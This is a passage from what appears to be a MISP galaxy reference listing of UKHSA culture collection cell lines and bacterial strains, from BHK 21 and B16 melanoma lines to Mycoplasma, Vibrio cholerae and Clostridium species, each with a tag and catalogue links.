The tag is: *misp-galaxy:ukhsa-culture-collections="BHK 21 CL13(IZS)"*

Table 30392. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhk-21-cl13izs

BHK 21 (clone 13)

The tag is: *misp-galaxy:ukhsa-culture-collections="BHK 21 (clone 13)"*

Table 30393. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhk-21-clone-13

BF-2

The tag is: *misp-galaxy:ukhsa-culture-collections="BF-2"*

Table 30394. Table References

Links
https://www.culturecollections.org.uk/nop/product/bf-2-2
https://www.culturecollections.org.uk/nop/product/bf-2-3
https://www.culturecollections.org.uk/nop/product/bf-2

BE10-7

The tag is: *misp-galaxy:ukhsa-culture-collections="BE10-7"*

Table 30395. Table References

Links
https://www.culturecollections.org.uk/nop/product/be10-7

B92

The tag is: *misp-galaxy:ukhsa-culture-collections="B92"*

Table 30396. Table References

Links
https://www.culturecollections.org.uk/nop/product/b92

B82

The tag is: *misp-galaxy:ukhsa-culture-collections="B82"*

Table 30397. Table References

Links
https://www.culturecollections.org.uk/nop/product/b82

B65

The tag is: *misp-galaxy:ukhsa-culture-collections="B65"*

Table 30398. Table References

Links
https://www.culturecollections.org.uk/nop/product/b65

B50

The tag is: *misp-galaxy:ukhsa-culture-collections="B50"*

Table 30399. Table References

Links
https://www.culturecollections.org.uk/nop/product/b50

B2.Sp

The tag is: *misp-galaxy:ukhsa-culture-collections="B2.Sp"*

Table 30400. Table References

Links
https://www.culturecollections.org.uk/nop/product/b2sp

B16-F1

The tag is: *misp-galaxy:ukhsa-culture-collections="B16-F1"*

Table 30401. Table References

Links
https://www.culturecollections.org.uk/nop/product/b16-f1

B16-F0

The tag is: *misp-galaxy:ukhsa-culture-collections="B16-F0"*

Table 30402. Table References

Links
https://www.culturecollections.org.uk/nop/product/b16-f0

B12

The tag is: *misp-galaxy:ukhsa-culture-collections="B12"*

Table 30403. Table References

Links
https://www.culturecollections.org.uk/nop/product/b12

AT6.1

The tag is: *misp-galaxy:ukhsa-culture-collections="AT6.1"*

Table 30404. Table References

Links
https://www.culturecollections.org.uk/nop/product/at61

AT-3.1

The tag is: *misp-galaxy:ukhsa-culture-collections="AT-3.1"*

Table 30405. Table References

Links
https://www.culturecollections.org.uk/nop/product/at-31

AT-2.1

The tag is: *misp-galaxy:ukhsa-culture-collections="AT-2.1"*

Table 30406. Table References

Links
https://www.culturecollections.org.uk/nop/product/at-21

AT-1

The tag is: *misp-galaxy:ukhsa-culture-collections="AT-1"*

Table 30407. Table References

Links
https://www.culturecollections.org.uk/nop/product/at-1

ARL-6

The tag is: *misp-galaxy:ukhsa-culture-collections="ARL-6"*

Table 30408. Table References

Links
https://www.culturecollections.org.uk/nop/product/arl-6

Anr4

The tag is: *misp-galaxy:ukhsa-culture-collections="Anr4"*

Table 30409. Table References

Links
https://www.culturecollections.org.uk/nop/product/anr4

AKR-2B

The tag is: *misp-galaxy:ukhsa-culture-collections="AKR-2B"*

Table 30410. Table References

Links
https://www.culturecollections.org.uk/nop/product/akr-2b

AC2

The tag is: *misp-galaxy:ukhsa-culture-collections="AC2"*

Table 30411. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac2

A9HT

The tag is: *misp-galaxy:ukhsa-culture-collections="A9HT"*

Table 30412. Table References

Links
https://www.culturecollections.org.uk/nop/product/a9ht

A9(Hamprecht)

The tag is: *misp-galaxy:ukhsa-culture-collections="A9(Hamprecht)"*

Table 30413. Table References

Links
https://www.culturecollections.org.uk/nop/product/a9hamprecht

A-72

The tag is: *misp-galaxy:ukhsa-culture-collections="A-72"*

Table 30414. Table References

Links
https://www.culturecollections.org.uk/nop/product/a-72

A2H

The tag is: *misp-galaxy:ukhsa-culture-collections="A2H"*

Table 30415. Table References

Links
https://www.culturecollections.org.uk/nop/product/a2h

Aedes albopictus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aedes albopictus"*

Table 30416. Table References

Links
https://www.culturecollections.org.uk/nop/product/aedes-albopictus

A2058

The tag is: *misp-galaxy:ukhsa-culture-collections="A2058"*

Table 30417. Table References

Links
https://www.culturecollections.org.uk/nop/product/a2058

A2

The tag is: *misp-galaxy:ukhsa-culture-collections="A2"*

Table 30418. Table References

Links
https://www.culturecollections.org.uk/nop/product/a2

A15

The tag is: *misp-galaxy:ukhsa-culture-collections="A15"*

Table 30419. Table References

Links
https://www.culturecollections.org.uk/nop/product/a15

A10-85

The tag is: *misp-galaxy:ukhsa-culture-collections="A10-85"*

Table 30420. Table References

Links
https://www.culturecollections.org.uk/nop/product/a10-85

92BR

The tag is: *misp-galaxy:ukhsa-culture-collections="92BR"*

Table 30421. Table References

Links
https://www.culturecollections.org.uk/nop/product/92br

745C2

The tag is: *misp-galaxy:ukhsa-culture-collections="745C2"*

Table 30422. Table References

Links
https://www.culturecollections.org.uk/nop/product/745c2

70Z/3

The tag is: *misp-galaxy:ukhsa-culture-collections="70Z/3"*

Table 30423. Table References

Links
https://www.culturecollections.org.uk/nop/product/70z3

707.fl

The tag is: *misp-galaxy:ukhsa-culture-collections="707.fl"*

Table 30424. Table References

Links
https://www.culturecollections.org.uk/nop/product/707fl

6-23 (clone 6)

The tag is: *misp-galaxy:ukhsa-culture-collections="6-23 (clone 6)"*

Table 30425. Table References

Links
https://www.culturecollections.org.uk/nop/product/6-23-clone-6

577MF

The tag is: *misp-galaxy:ukhsa-culture-collections="577MF"*

Table 30426. Table References

Links
https://www.culturecollections.org.uk/nop/product/577mf

54SCC7

The tag is: *misp-galaxy:ukhsa-culture-collections="54SCC7"*

Table 30427. Table References

Links
https://www.culturecollections.org.uk/nop/product/54scc7

54SCC3

The tag is: *misp-galaxy:ukhsa-culture-collections="54SCC3"*

Table 30428. Table References

Links
https://www.culturecollections.org.uk/nop/product/54scc3

54SCC2

The tag is: *misp-galaxy:ukhsa-culture-collections="54SCC2"*

Table 30429. Table References

Links
https://www.culturecollections.org.uk/nop/product/54scc2

45.6.TG1.7

The tag is: *misp-galaxy:ukhsa-culture-collections="45.6.TG1.7"*

Table 30430. Table References

Links
https://www.culturecollections.org.uk/nop/product/456tg17

4/4 RM-4

The tag is: *misp-galaxy:ukhsa-culture-collections="4/4 RM-4"*

Table 30431. Table References

Links
https://www.culturecollections.org.uk/nop/product/44-rm-4

33B

The tag is: *misp-galaxy:ukhsa-culture-collections="33B"*

Table 30432. Table References

Links
https://www.culturecollections.org.uk/nop/product/33b

328/8

The tag is: *misp-galaxy:ukhsa-culture-collections="328/8"*

Table 30433. Table References

Links
https://www.culturecollections.org.uk/nop/product/3288

328/7

The tag is: *misp-galaxy:ukhsa-culture-collections="328/7"*

Table 30434. Table References

Links
https://www.culturecollections.org.uk/nop/product/3287

328/14

The tag is: *misp-galaxy:ukhsa-culture-collections="328/14"*

Table 30435. Table References

Links
https://www.culturecollections.org.uk/nop/product/32814

328/12

The tag is: *misp-galaxy:ukhsa-culture-collections="328/12"*

Table 30436. Table References

Links
https://www.culturecollections.org.uk/nop/product/32812

328/11

The tag is: *misp-galaxy:ukhsa-culture-collections="328/11"*

Table 30437. Table References

Links
https://www.culturecollections.org.uk/nop/product/32811

328/10

The tag is: *misp-galaxy:ukhsa-culture-collections="328/10"*

Table 30438. Table References

Links
https://www.culturecollections.org.uk/nop/product/32810

328/9

The tag is: *misp-galaxy:ukhsa-culture-collections="328/9"*

Table 30439. Table References

Links
https://www.culturecollections.org.uk/nop/product/3289

208F

The tag is: *misp-galaxy:ukhsa-culture-collections="208F"*

Table 30440. Table References

Links
https://www.culturecollections.org.uk/nop/product/208f

180BR

The tag is: *misp-galaxy:ukhsa-culture-collections="180BR"*

Table 30441. Table References

Links
https://www.culturecollections.org.uk/nop/product/180br

1777N Rpmet

The tag is: *misp-galaxy:ukhsa-culture-collections="1777N Rpmet"*

Table 30442. Table References

Links
https://www.culturecollections.org.uk/nop/product/1777n-rpmet

175BR

The tag is: *misp-galaxy:ukhsa-culture-collections="175BR"*

Table 30443. Table References

Links
https://www.culturecollections.org.uk/nop/product/175br

174BR

The tag is: *misp-galaxy:ukhsa-culture-collections="174BR"*

Table 30444. Table References

Links
https://www.culturecollections.org.uk/nop/product/174br

1411H

The tag is: *misp-galaxy:ukhsa-culture-collections="1411H"*

Table 30445. Table References

Links
https://www.culturecollections.org.uk/nop/product/1411h

C3H/10T1/2 clone 8

The tag is: *misp-galaxy:ukhsa-culture-collections="C3H/10T1/2 clone 8"*

Table 30446. Table References

Links
https://www.culturecollections.org.uk/nop/product/c3h10t12-clone-8

108CC5-TG-4

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC5-TG-4"*

Table 30447. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc5-tg-4

108CC5-TG-3

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC5-TG-3"*

Table 30448. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc5-tg-3

108CC5-TG-2

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC5-TG-2"*

Table 30449. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc5-tg-2

108CC5-TG-1

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC5-TG-1"*

Table 30450. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc5-tg-1

108CC5T-BU-4

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC5T-BU-4"*

Table 30451. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc5t-bu-4

108CC5T-BU-1

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC5T-BU-1"*

Table 30452. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc5t-bu-1

108CC5-BU-8

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC5-BU-8"*

Table 30453. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc5-bu-8

108CC5-BU-5

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC5-BU-5"*

Table 30454. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc5-bu-5

108CC5-BU

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC5-BU"*

Table 30455. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc5-bu

NS20Y

The tag is: *misp-galaxy:ukhsa-culture-collections="NS20Y"*

Table 30456. Table References

Links
https://www.culturecollections.org.uk/nop/product/ns20y

108CC15

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC15"*

Table 30457. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc15

108CC5

The tag is: *misp-galaxy:ukhsa-culture-collections="108CC5"*

Table 30458. Table References

Links
https://www.culturecollections.org.uk/nop/product/108cc5

LXVIII-4D8-E3

The tag is: *misp-galaxy:ukhsa-culture-collections="LXVIII-4D8-E3"*

Table 30459. Table References

Links
https://www.culturecollections.org.uk/nop/product/lxviii-4d8-e3

XCIII-3D8-D8

The tag is: *misp-galaxy:ukhsa-culture-collections="XCIII-3D8-D8"*

Table 30460. Table References

Links
https://www.culturecollections.org.uk/nop/product/xciii-3d8-d8

CLVIII-3A6-E3

The tag is: *misp-galaxy:ukhsa-culture-collections="CLVIII-3A6-E3"*

Table 30461. Table References

Links
https://www.culturecollections.org.uk/nop/product/clviii-3a6-e3

LI-3H2-G6

The tag is: *misp-galaxy:ukhsa-culture-collections="LI-3H2-G6"*

Table 30462. Table References

Links
https://www.culturecollections.org.uk/nop/product/li-3h2-g6

XXIX-1G12-G7

The tag is: *misp-galaxy:ukhsa-culture-collections="XXIX-1G12-G7"*

Table 30463. Table References

Links
https://www.culturecollections.org.uk/nop/product/xxix-1g12-g7

XCIV-1H2-A8

The tag is: *misp-galaxy:ukhsa-culture-collections="XCIV-1H2-A8"*

Table 30464. Table References

Links
https://www.culturecollections.org.uk/nop/product/xciv-1h2-a8

XCIII-1F8-D7

The tag is: *misp-galaxy:ukhsa-culture-collections="XCIII-1F8-D7"*

Table 30465. Table References

Links
https://www.culturecollections.org.uk/nop/product/xciii-1f8-d7

Arcanobacterium pyogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Arcanobacterium pyogenes"*

Table 30466. Table References

Links
https://www.culturecollections.org.uk/nop/product/arcanobacterium-pyogenes-5
https://www.culturecollections.org.uk/nop/product/arcanobacterium-pyogenes-2
https://www.culturecollections.org.uk/nop/product/arcanobacterium-pyogenes-4
https://www.culturecollections.org.uk/nop/product/arcanobacterium-pyogenes-3
https://www.culturecollections.org.uk/nop/product/arcanobacterium-pyogenes

Rhodococcus rhodochrous

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodococcus rhodochrous"*

Table 30467. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodococcus-rhodochrous-5
https://www.culturecollections.org.uk/nop/product/rhodococcus-rhodochrous-3
https://www.culturecollections.org.uk/nop/product/rhodococcus-rhodochrous-2
https://www.culturecollections.org.uk/nop/product/rhodococcus-rhodochrous
https://www.culturecollections.org.uk/nop/product/rhodococcus-rhodochrous-4

Bacillus stearothermophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus stearothermophilus"*

Table 30468. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-stearothermophilus

Mycoplasma caviae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma caviae"*

Table 30469. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-caviae

Mycoplasma arginini

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma arginini"*

Table 30470. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-arginini

Mycoplasma bovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma bovis"*

Table 30471. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-bovis

Mycoplasma molare

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma molare"*

Table 30472. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-molare

Mycoplasma equirhinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma equirhinis"*

Table 30473. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-equirhinis

Acholeplasma oculi

The tag is: *misp-galaxy:ukhsa-culture-collections="Acholeplasma oculi"*

Table 30474. Table References

Links
https://www.culturecollections.org.uk/nop/product/acholeplasma-oculi

Mycoplasma meleagridis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma meleagridis"*

Table 30475. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-meleagridis

Mycoplasma alvi

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma alvi"*

Table 30476. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-alvi

Mycoplasma faucium

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma faucium"*

Table 30477. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-faucium

Mycoplasma columbinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma columbinum"*

Table 30478. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-columbinum

Mycoplasma gallopavonis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma gallopavonis"*

Table 30479. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-gallopavonis

Mycoplasma muris

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma muris"*

Table 30480. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-muris

Actinobacillus ureae

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus ureae"*

Table 30481. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-ureae
https://www.culturecollections.org.uk/nop/product/actinobacillus-ureae-3
https://www.culturecollections.org.uk/nop/product/actinobacillus-ureae-2
https://www.culturecollections.org.uk/nop/product/actinobacillus-ureae-4

Vibrio cholerae biotype el tor

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio cholerae biotype el tor"*

Table 30482. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-biotype-el-tor-7
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-biotype-el-tor
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-biotype-el-tor-3
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-biotype-el-tor-2
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-biotype-el-tor-5
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-biotype-el-tor-6
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-biotype-el-tor-8

https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-biotype-el-tor-4

Mycobacterium acapulcensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium acapulcensis"*

Table 30483. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-acapulcensis

Alysiella filiformis

The tag is: *misp-galaxy:ukhsa-culture-collections="Alysiella filiformis"*

Table 30484. Table References

Links
https://www.culturecollections.org.uk/nop/product/alysiella-filiformis

Acinetobacter genospecies 13

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter genospecies 13"*

Table 30485. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-genospecies-13

Campylobacter sputorum subsp. bubulus

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter sputorum subsp. bubulus"*

Table 30486. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-sputorum-subsp-bubulus
https://www.culturecollections.org.uk/nop/product/campylobacter-sputorum-subsp-bubulus-3

Pasteurella trehalosi

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella trehalosi"*

Table 30487. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-trehalosi

Rhodococcus corynebacteriodies

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodococcus corynebacteriodies"*

Table 30488. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodococcus-corynebacteriodies

Propionibacterium freudenreichii

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium freudenreichii"*

Table 30489. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-freudenreichii

Kluyvera cryocrescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Kluyvera cryocrescens"*

Table 30490. Table References

Links
https://www.culturecollections.org.uk/nop/product/kluyvera-cryocrescens-2
https://www.culturecollections.org.uk/nop/product/kluyvera-cryocrescens
https://www.culturecollections.org.uk/nop/product/kluyvera-cryocrescens-3

Pasteurella lymphangitidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella lymphangitidis"*

Table 30491. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-lymphangitidis-2
https://www.culturecollections.org.uk/nop/product/pasteurella-lymphangitidis-6
https://www.culturecollections.org.uk/nop/product/pasteurella-lymphangitidis-3
https://www.culturecollections.org.uk/nop/product/pasteurella-lymphangitidis-4
https://www.culturecollections.org.uk/nop/product/pasteurella-lymphangitidis-7
https://www.culturecollections.org.uk/nop/product/pasteurella-lymphangitidis-5

Noguchia granulosis

The tag is: *misp-galaxy:ukhsa-culture-collections="Noguchia granulosis"*

Table 30492. Table References

Links
https://www.culturecollections.org.uk/nop/product/noguchia-granulosis

Chryseobacterium meningosepticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium meningosepticum"*

Table 30493. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum-3
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum-6
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum-7
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum-8
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum-9
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum-4
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum-11
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum-2
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum-5
https://www.culturecollections.org.uk/nop/product/chryseobacterium-meningosepticum-10

Aquaspirillum serpens

The tag is: *misp-galaxy:ukhsa-culture-collections="Aquaspirillum serpens"*

Table 30494. Table References

Links
https://www.culturecollections.org.uk/nop/product/aquaspirillum-serpens

Pseudomonas pavonacea

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas pavonacea"*

Table 30495. Table References

Links

https://www.culturecollections.org.uk/nop/product/pseudomonas-pavonacea

Streptococcus milleri

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus milleri"*

Table 30496. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-milleri

Thermoactinomyces sacchari

The tag is: *misp-galaxy:ukhsa-culture-collections="Thermoactinomyces sacchari"*

Table 30497. Table References

Links
https://www.culturecollections.org.uk/nop/product/thermoactinomyces-sacchari

Deinococcus radiophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Deinococcus radiophilus"*

Table 30498. Table References

Links
https://www.culturecollections.org.uk/nop/product/deinococcus-radiophilus

Weeksella virosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Weeksella virosa"*

Table 30499. Table References

Links
https://www.culturecollections.org.uk/nop/product/weeksella-virosa-2
https://www.culturecollections.org.uk/nop/product/weeksella-virosa-3
https://www.culturecollections.org.uk/nop/product/weeksella-virosa-4
https://www.culturecollections.org.uk/nop/product/weeksella-virosa
https://www.culturecollections.org.uk/nop/product/weeksella-virosa-5

Mycobacterium tokaiense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium tokaiense"*

Table 30500. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-tokaiense

Actinobacillus suis

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus suis"*

Table 30501. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-suis
https://www.culturecollections.org.uk/nop/product/actinobacillus-suis-3
https://www.culturecollections.org.uk/nop/product/actinobacillus-suis-5
https://www.culturecollections.org.uk/nop/product/actinobacillus-suis-2
https://www.culturecollections.org.uk/nop/product/actinobacillus-suis-4

Bacteroides ureolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides ureolyticus"*

Table 30502. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-ureolyticus
https://www.culturecollections.org.uk/nop/product/bacteroides-ureolyticus-4
https://www.culturecollections.org.uk/nop/product/bacteroides-ureolyticus-6
https://www.culturecollections.org.uk/nop/product/bacteroides-ureolyticus-2

Mycobacterium farcinogenes subsp. tchadense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium farcinogenes subsp. tchadense"*

Table 30503. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-farcinogenes-subsp-tchadense

Mycobacterium senegalense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium senegalense"*

Table 30504. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-senegalense

Serratia plymuthica

The tag is: *misp-galaxy:ukhsa-culture-collections="Serratia plymuthica"*

Table 30505. Table References

Links
https://www.culturecollections.org.uk/nop/product/serratia-plymuthica
https://www.culturecollections.org.uk/nop/product/serratia-plymuthica-2
https://www.culturecollections.org.uk/nop/product/serratia-plymuthica-3
https://www.culturecollections.org.uk/nop/product/serratia-plymuthica-4
https://www.culturecollections.org.uk/nop/product/serratia-plymuthica-5

Actinomyces israelii

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces israelii"*

Table 30506. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-israelii-6
https://www.culturecollections.org.uk/nop/product/actinomyces-israelii-7
https://www.culturecollections.org.uk/nop/product/actinomyces-israelii-2
https://www.culturecollections.org.uk/nop/product/actinomyces-israelii
https://www.culturecollections.org.uk/nop/product/actinomyces-israelii-5
https://www.culturecollections.org.uk/nop/product/actinomyces-israelii-8
https://www.culturecollections.org.uk/nop/product/actinomyces-israelii-4
https://www.culturecollections.org.uk/nop/product/actinomyces-israelii-3
https://www.culturecollections.org.uk/nop/product/actinomyces-israelii-9

Clostridium tetani

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium tetani"*

Table 30507. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-21
https://www.culturecollections.org.uk/nop/product/clostridium-tetani

https://www.culturecollections.org.uk/nop/product/clostridium-tetani-4
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-6
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-20
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-25
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-26
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-8
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-10
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-14
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-17
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-7
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-19
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-3
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-5
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-9
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-11
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-23
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-27
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-29
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-2
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-12
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-13
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-15
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-16
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-18
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-22
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-24
https://www.culturecollections.org.uk/nop/product/clostridium-tetani-28

Virgibacillus pantothenticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Virgibacillus pantothenticus"*

Table 30508. Table References

Links
https://www.culturecollections.org.uk/nop/product/virgibacillus-pantothenticus-3
https://www.culturecollections.org.uk/nop/product/virgibacillus-pantothenticus-2

https://www.culturecollections.org.uk/nop/product/virgibacillus-pantothenticus
https://www.culturecollections.org.uk/nop/product/virgibacillus-pantothenticus-4

Anaerococcus octavius

The tag is: *misp-galaxy:ukhsa-culture-collections="Anaerococcus octavius"*

Table 30509. Table References

Links
https://www.culturecollections.org.uk/nop/product/anaerococcus-octavius
https://www.culturecollections.org.uk/nop/product/anaerococcus-octavius-2

Klebsiella edwardsii var. atlantae

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella edwardsii var. atlantae"*

Table 30510. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-edwardsii-var-atlantae

Aeromonas liquefaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Aeromonas liquefaciens"*

Table 30511. Table References

Links
https://www.culturecollections.org.uk/nop/product/aeromonas-liquefaciens

Clostridium tetanomorphum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium tetanomorphum"*

Table 30512. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-tetanomorphum-2
https://www.culturecollections.org.uk/nop/product/clostridium-tetanomorphum
https://www.culturecollections.org.uk/nop/product/clostridium-tetanomorphum-3

Actinomadura madurae

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomadura madurae"*

Table 30513. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomadura-madurae
https://www.culturecollections.org.uk/nop/product/actinomadura-madurae-2
https://www.culturecollections.org.uk/nop/product/actinomadura-madurae-3

Brevibacillus laterosporus

The tag is: *misp-galaxy:ukhsa-culture-collections="Brevibacillus laterosporus"*

Table 30514. Table References

Links
https://www.culturecollections.org.uk/nop/product/brevibacillus-laterosporus
https://www.culturecollections.org.uk/nop/product/brevibacillus-laterosporus-2
https://www.culturecollections.org.uk/nop/product/brevibacillus-laterosporus-3

Clostridium bifermentans

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium bifermentans"*

Table 30515. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-bifermentans-4
https://www.culturecollections.org.uk/nop/product/clostridium-bifermentans-5
https://www.culturecollections.org.uk/nop/product/clostridium-bifermentans-10
https://www.culturecollections.org.uk/nop/product/clostridium-bifermentans-9
https://www.culturecollections.org.uk/nop/product/clostridium-bifermentans-2
https://www.culturecollections.org.uk/nop/product/clostridium-bifermentans-6
https://www.culturecollections.org.uk/nop/product/clostridium-bifermentans-8
https://www.culturecollections.org.uk/nop/product/clostridium-bifermentans-7
https://www.culturecollections.org.uk/nop/product/clostridium-bifermentans-3
https://www.culturecollections.org.uk/nop/product/clostridium-bifermentans-11

Escherichia alkalescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Escherichia alkalescens"*

Table 30516. Table References

Links

https://www.culturecollections.org.uk/nop/product/escherichia-alkalescens

Cellulomonas fimi

The tag is: *misp-galaxy:ukhsa-culture-collections="Cellulomonas fimi"*

Table 30517. Table References

Links
https://www.culturecollections.org.uk/nop/product/cellulomonas-fimi

Kocuria varians

The tag is: *misp-galaxy:ukhsa-culture-collections="Kocuria varians"*

Table 30518. Table References

Links
https://www.culturecollections.org.uk/nop/product/kocuria-varians-5
https://www.culturecollections.org.uk/nop/product/kocuria-varians-9
https://www.culturecollections.org.uk/nop/product/kocuria-varians-8
https://www.culturecollections.org.uk/nop/product/kocuria-varians
https://www.culturecollections.org.uk/nop/product/kocuria-varians-2
https://www.culturecollections.org.uk/nop/product/kocuria-varians-3
https://www.culturecollections.org.uk/nop/product/kocuria-varians-4
